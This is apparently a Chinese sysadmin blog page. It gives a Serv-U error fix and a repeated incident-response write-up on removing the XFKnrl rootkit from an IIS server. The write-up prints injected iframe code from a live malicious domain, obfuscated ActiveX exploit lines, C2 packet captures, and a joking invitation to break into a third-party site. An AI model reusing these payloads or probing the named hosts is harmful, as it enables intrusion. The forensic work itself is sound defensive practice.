千万个美丽的未来，抵不上一个温暖的现在，每一个真实的现在，都是我们曾经幻想的未来！
Feb
15
52032 错误提示:[Serv-U]服务器的INI配置文件不存在
52032 错误提示:[Serv-U]服务器的INI配置文件不存在[inifile][ftp_chgstate]!(主机xiaoluan暂停失败!)
出现这个错误,一般情况下看 servu是否启动为系统服务 .也就是这个地方,如图:
红圈圈里面打勾就可以了.这个打开serv-u就能看到.
噢,,对了...如果是安装了serv-u ,在客户端参数设置-FTP设置
显示灰色的话.一般也是 没启动为系统服务造成的.处理方法是一样的了。
52032 错误提示:[Serv-U]服务器的INI配置文件不存在[inifile][ftp_chgstate]!(主机xiaoluan暂停失败!)
出现这个错误,一般情况下看 servu是否启动为系统服务 .也就是这个地方,如图:
红圈圈里面打勾就可以了.这个打开serv-u就能看到.
噢,,对了...如果是安装了serv-u ,在客户端参数设置-FTP设置
显示灰色的话.一般也是 没启动为系统服务造成的.处理方法是一样的了。
Feb
13
1、
首先是发现浏览该服务器网页时，最底端加入了一段iframe：
http://bh.jebooo.com/3002.htm
追查该代码，关键字：
BD96C556-65A3-11D0-983A-00C04FC29
var real=new ActiveXObject("IERPCtl.IERPCtl.1");
var storm=new window["ActiveXObject"]("MP"+"S.S"+"tor"+"mPl"+"ayer");
var Lz=new ActiveXObject("GLC"+"HAT.G"+"LCh"+"atC"+"trl.1");
function GetCookie_cnzz(name)
应该是利用了ie的一些activex漏洞进行种木马和刷流量的操作
2、
追查工作暂时放到一边，首要问题是解决服务器异常
最开始是怀疑有arp攻击，登录到服务器上查看
arp -a得到网关mac，与正确的网关mac一致，windump抓包
windump -X -i 3 -n arp
也没有发现异常arp广播
检查web文件，也正常，底部并没有加码
初步确定是服务器本身有问题
3、
继续抓包，查看http包
windump -X -i 3 -s 65535 -n host **.**.**.** and port 80
发现在正常的页面请求结束前，被插入了一段
10:06:39.430635 IP xx.xx.xx.xx.80 > yy.yy.yy.yy.2407: P 254:325(71) ack 417
win 65119
0x0000: 4500 006f 1251 4000 8006 d0c4 d233 b9ca [email protected]..
0x0010: d233 b941 0050 0967 fddc 6d08 11ce dc82 .3.A.P.g..m.....
0x0020: 5018 fe5f 17d5 0000 0d0a 3c69 6672 616d P.._......<ifram
0x0030: 6520 7372 633d 6874 7470 3a2f 2f62 682e e.src=http://bh.
0x0040: 6a65 626f 6f6f 2e63 6f6d 2f33 3030 322e jebooo.com/3002.
0x0050: 6874 6d20 7769 6474 683d 3020 6865 6967 htm.width=0.heig
0x0060: 6874 3d30 3e3c 2f69 6672 616d 653e 00 ht=0></iframe>.
正是页面底部被嵌入的iframe
这说明服务器的iis进程或网卡驱动被hook，在侦测到某种类型文件的http请求后，在传输结束前挂马
4、
检查服务器，查看进程、服务、N处注册表启动项、系统帐号
均未发现异常
请出icesword，检查内核模块，发现两个可疑的家伙
XFKnrl.sys 和 rvdport.sys
文件路径都是system32\drivers\，但到该目录下查找并没有这两个文件，基本能确定是rootkit了
正常的内核模块没必要隐藏自己
procexp搜索全部进程的handle，果然
发现在inetinfo进程中有 \device\XFKnrl加载项，iis被插了！
5、
用Wsyscheck和RkUnhooker再进一步检查内核模块和驱动
除了icesword查到的两个sys之外再没有其他发现
ssdt和fsd的各个函数也没有被hook的报告
NtQueryDirectoryFile
NtQuerySystemInformation
NtDeviceIoControlFile
都正常！
但在wsyscheck的“安全检查”-“端口状态”中发现，进程inetinfo每几秒就向61.164.176.139：3002发syn
12:01:20.108071 IP xx.xx.xx.xx.4627 > 61.164.176.139.3002: S 3273827924:32738
27924(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 125f 4000 8006 6e3b d233 b9ca [email protected];.3..
0x0010: 3da4 b08b 1213 0bba c322 a654 0000 0000 =........".T....
0x0020: 7002 ffff 81ad 0000 0204 05b4 0101 0402 p...............
12:01:20.180418 IP 61.164.176.139.3002 > xx.xx.xx.xx.4627: R 0:0(0) ack 1 win
0
0x0000: 4500 0028 0186 0000 7306 cc1c 3da4 b08b E..(....s...=...
0x0010: d233 b9ca 0bba 1213 0000 0000 c322 a655 .3...........".U
0x0020: 5014 0000 ae5d 0000 aaaa 0000 aaaa P....]........
12:01:22.592705 IP xx.xx.xx.xx.4628 > 61.164.176.139.3002: S 1189036599:11890
36599(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 126a 4000 8006 6e30 d233 b9ca [email protected]..
0x0010: 3da4 b08b 1214 0bba 46df 4237 0000 0000 =.......F.B7....
0x0020: 7002 ffff 620d 0000 0204 05b4 0101 0402 p...b...........
12:01:22.654909 IP 61.164.176.139.3002 > xx.xx.xx.xx.4628: R 0:0(0) ack 11890
36600 win 0
0x0000: 4500 0028 2deb 0000 7306 9fb7 3da4 b08b E..(-...s...=...
0x0010: d233 b9ca 0bba 1214 0000 0000 46df 4238 .3..........F.B8
0x0020: 5014 0000 8ebd 0000 aaaa 0000 aaaa P.............
61.164.176.139基本可以确定就是rootkit的控制端了
6、
google了一下XFKnrl，没发现太多有用的信息
只好先在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys
删除所有文件权限，重启
web页面挂马问题消失，内核模块XFKnrl和rvdport也都没有加载
但进程inetinfo依然向61.164.176.139：3002发包！
先用组策略ipsec封掉到61.164.176.0/24网段和端口3002的通讯
继续检查系统
7、
再次procexp搜索全部进程的handle，没有发现XFKrnl和rvdport的踪影
又检查了一遍内核模块和驱动，没有新发现
目标锁定在了inetinfo进程上
用wsyscheck查inetinfo的线程信息，对比其他正常服务器的该项信息
发现异常线程iisecnv.dll
procexp搜索全部进程的dll，发现iisecnv.dll 插入到了inetinfo.exe和 w3wp.exe中
结束该线程后，inetinfo停止向61.164.176.139：3002发包！
但随后检查内核模块时发现，XFKnrl居然又被加载了！
这至少证明了iisecnv.dll和XFKnrl.sys的关系
8、
搜索注册表iisecnv.dll，发现
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603]
"000"="iisecnv.dll"
"001"="mswsock.dll"
"002"="ntdll.dll"
"003"="ntkrnlpa.exe"
"004"="*.gif"
"005"="usbcams3.sys"
"006"="AtiSrv.exe"
"007"="usbhcid.sys"
"008"="*.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5604]
"000"="jebooo"
"001"="bh.jebooo.com"
"002"="xf.jebooo.com"
9、
终极操作：
在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys删除所有文件权限
删除注册表中相关项和文件
用wsyscheck的“重启后删除文件”功能，添加c:/windows/system32/inetsrv/iisecnv.dll，重启
内核模块XFKnrl.sys和rvdport.sys没有被加载，inetinfo进程也不再发包，但IIS崩溃了！
重新安装iis，恢复.net2.0的web扩展服务，重建web站点，貌似一切恢复正常了。
10、
把iisecnv.dll抓到本地，IDA pro分析
基本功能大致包括了：
httpfilter-过滤http协议
hook \\inetsrv\wamreg.dll
加载驱动 system32\drivers\XFKnrl.sys
调用cmd.exe
md5filt
aspnet_filter
CopyFileA DeleteFileA 隐藏和删除文件
大概能知道这个XFKnrl rootkit都做了些什么，它没有做隐藏进程和端口的操作，对文件也只是在内核模块加载到内存高位后进行删除操作，
所以查ssdt没有什么发现是正常的，开始我还以为真的有这么NB的rootkit可以绕过icesword、wsyscheck和RkUnhooker的检查呢！
主要的功能就是过滤http协议，外加得到一个反弹的shell，如果不是它的驱动是运行在kernel模式，还真不好意思叫它ring0 ！
11、
后续问题：
先去拜访一下61.164.176.139
inetnum: 61.164.176.128 - 61.164.176.143
netname: YIWU-RONGJI-BUISNESS
country: CN
descr: Yiwu Rongji Handware Buisness
该段里有个应用系统
http://www.lunababe.com/
估计也是漏洞一大堆，有兴趣的可以去看一下，也许能搞到XFKnrl的控制端，哈哈~
12、
唠叨几句：
中了rootkit最好还是重装
测试用服务器正式上线前最好也是重装
防火墙外运行的服务器拿到里边来之前最好也重装
尽量用从可靠途径获得的系统软件
首先是发现浏览该服务器网页时，最底端加入了一段iframe：
http://bh.jebooo.com/3002.htm
追查该代码，关键字：
BD96C556-65A3-11D0-983A-00C04FC29
var real=new ActiveXObject("IERPCtl.IERPCtl.1");
var storm=new window["ActiveXObject"]("MP"+"S.S"+"tor"+"mPl"+"ayer");
var Lz=new ActiveXObject("GLC"+"HAT.G"+"LCh"+"atC"+"trl.1");
function GetCookie_cnzz(name)
应该是利用了ie的一些activex漏洞进行种木马和刷流量的操作
2、
追查工作暂时放到一边，首要问题是解决服务器异常
最开始是怀疑有arp攻击，登录到服务器上查看
arp -a得到网关mac，与正确的网关mac一致，windump抓包
windump -X -i 3 -n arp
也没有发现异常arp广播
检查web文件，也正常，底部并没有加码
初步确定是服务器本身有问题
3、
继续抓包，查看http包
windump -X -i 3 -s 65535 -n host **.**.**.** and port 80
发现在正常的页面请求结束前，被插入了一段
10:06:39.430635 IP xx.xx.xx.xx.80 > yy.yy.yy.yy.2407: P 254:325(71) ack 417
win 65119
0x0000: 4500 006f 1251 4000 8006 d0c4 d233 b9ca [email protected]..
0x0010: d233 b941 0050 0967 fddc 6d08 11ce dc82 .3.A.P.g..m.....
0x0020: 5018 fe5f 17d5 0000 0d0a 3c69 6672 616d P.._......<ifram
0x0030: 6520 7372 633d 6874 7470 3a2f 2f62 682e e.src=http://bh.
0x0040: 6a65 626f 6f6f 2e63 6f6d 2f33 3030 322e jebooo.com/3002.
0x0050: 6874 6d20 7769 6474 683d 3020 6865 6967 htm.width=0.heig
0x0060: 6874 3d30 3e3c 2f69 6672 616d 653e 00 ht=0></iframe>.
正是页面底部被嵌入的iframe
这说明服务器的iis进程或网卡驱动被hook，在侦测到某种类型文件的http请求后，在传输结束前挂马
4、
检查服务器，查看进程、服务、N处注册表启动项、系统帐号
均未发现异常
请出icesword，检查内核模块，发现两个可疑的家伙
XFKnrl.sys 和 rvdport.sys
文件路径都是system32\drivers\，但到该目录下查找并没有这两个文件，基本能确定是rootkit了
正常的内核模块没必要隐藏自己
procexp搜索全部进程的handle，果然
发现在inetinfo进程中有 \device\XFKnrl加载项，iis被插了！
5、
用Wsyscheck和RkUnhooker再进一步检查内核模块和驱动
除了icesword查到的两个sys之外再没有其他发现
ssdt和fsd的各个函数也没有被hook的报告
NtQueryDirectoryFile
NtQuerySystemInformation
NtDeviceIoControlFile
都正常！
但在wsyscheck的“安全检查”-“端口状态”中发现，进程inetinfo每几秒就向61.164.176.139：3002发syn
12:01:20.108071 IP xx.xx.xx.xx.4627 > 61.164.176.139.3002: S 3273827924:32738
27924(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 125f 4000 8006 6e3b d233 b9ca [email protected];.3..
0x0010: 3da4 b08b 1213 0bba c322 a654 0000 0000 =........".T....
0x0020: 7002 ffff 81ad 0000 0204 05b4 0101 0402 p...............
12:01:20.180418 IP 61.164.176.139.3002 > xx.xx.xx.xx.4627: R 0:0(0) ack 1 win
0
0x0000: 4500 0028 0186 0000 7306 cc1c 3da4 b08b E..(....s...=...
0x0010: d233 b9ca 0bba 1213 0000 0000 c322 a655 .3...........".U
0x0020: 5014 0000 ae5d 0000 aaaa 0000 aaaa P....]........
12:01:22.592705 IP xx.xx.xx.xx.4628 > 61.164.176.139.3002: S 1189036599:11890
36599(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 126a 4000 8006 6e30 d233 b9ca [email protected]..
0x0010: 3da4 b08b 1214 0bba 46df 4237 0000 0000 =.......F.B7....
0x0020: 7002 ffff 620d 0000 0204 05b4 0101 0402 p...b...........
12:01:22.654909 IP 61.164.176.139.3002 > xx.xx.xx.xx.4628: R 0:0(0) ack 11890
36600 win 0
0x0000: 4500 0028 2deb 0000 7306 9fb7 3da4 b08b E..(-...s...=...
0x0010: d233 b9ca 0bba 1214 0000 0000 46df 4238 .3..........F.B8
0x0020: 5014 0000 8ebd 0000 aaaa 0000 aaaa P.............
61.164.176.139基本可以确定就是rootkit的控制端了
6、
google了一下XFKnrl，没发现太多有用的信息
只好先在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys
删除所有文件权限，重启
web页面挂马问题消失，内核模块XFKnrl和rvdport也都没有加载
但进程inetinfo依然向61.164.176.139：3002发包！
先用组策略ipsec封掉到61.164.176.0/24网段和端口3002的通讯
继续检查系统
7、
再次procexp搜索全部进程的handle，没有发现XFKrnl和rvdport的踪影
又检查了一遍内核模块和驱动，没有新发现
目标锁定在了inetinfo进程上
用wsyscheck查inetinfo的线程信息，对比其他正常服务器的该项信息
发现异常线程iisecnv.dll
procexp搜索全部进程的dll，发现iisecnv.dll 插入到了inetinfo.exe和 w3wp.exe中
结束该线程后，inetinfo停止向61.164.176.139：3002发包！
但随后检查内核模块时发现，XFKnrl居然又被加载了！
这至少证明了iisecnv.dll和XFKnrl.sys的关系
8、
搜索注册表iisecnv.dll，发现
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603]
"000"="iisecnv.dll"
"001"="mswsock.dll"
"002"="ntdll.dll"
"003"="ntkrnlpa.exe"
"004"="*.gif"
"005"="usbcams3.sys"
"006"="AtiSrv.exe"
"007"="usbhcid.sys"
"008"="*.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5604]
"000"="jebooo"
"001"="bh.jebooo.com"
"002"="xf.jebooo.com"
9、
终极操作：
在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys删除所有文件权限
删除注册表中相关项和文件
用wsyscheck的“重启后删除文件”功能，添加c:/windows/system32/inetsrv/iisecnv.dll，重启
内核模块XFKnrl.sys和rvdport.sys没有被加载，inetinfo进程也不再发包，但IIS崩溃了！
重新安装iis，恢复.net2.0的web扩展服务，重建web站点，貌似一切恢复正常了。
10、
把iisecnv.dll抓到本地，IDA pro分析
基本功能大致包括了：
httpfilter-过滤http协议
hook \\inetsrv\wamreg.dll
加载驱动 system32\drivers\XFKnrl.sys
调用cmd.exe
md5filt
aspnet_filter
CopyFileA DeleteFileA 隐藏和删除文件
大概能知道这个XFKnrl rootkit都做了些什么，它没有做隐藏进程和端口的操作，对文件也只是在内核模块加载到内存高位后进行删除操作，
所以查ssdt没有什么发现是正常的，开始我还以为真的有这么NB的rootkit可以绕过icesword、wsyscheck和RkUnhooker的检查呢！
主要的功能就是过滤http协议，外加得到一个反弹的shell，如果不是它的驱动是运行在kernel模式，还真不好意思叫它ring0 ！
11、
后续问题：
先去拜访一下61.164.176.139
inetnum: 61.164.176.128 - 61.164.176.143
netname: YIWU-RONGJI-BUISNESS
country: CN
descr: Yiwu Rongji Handware Buisness
该段里有个应用系统
http://www.lunababe.com/
估计也是漏洞一大堆，有兴趣的可以去看一下，也许能搞到XFKnrl的控制端，哈哈~
12、
唠叨几句：
中了rootkit最好还是重装
测试用服务器正式上线前最好也是重装
防火墙外运行的服务器拿到里边来之前最好也重装
尽量用从可靠途径获得的系统软件
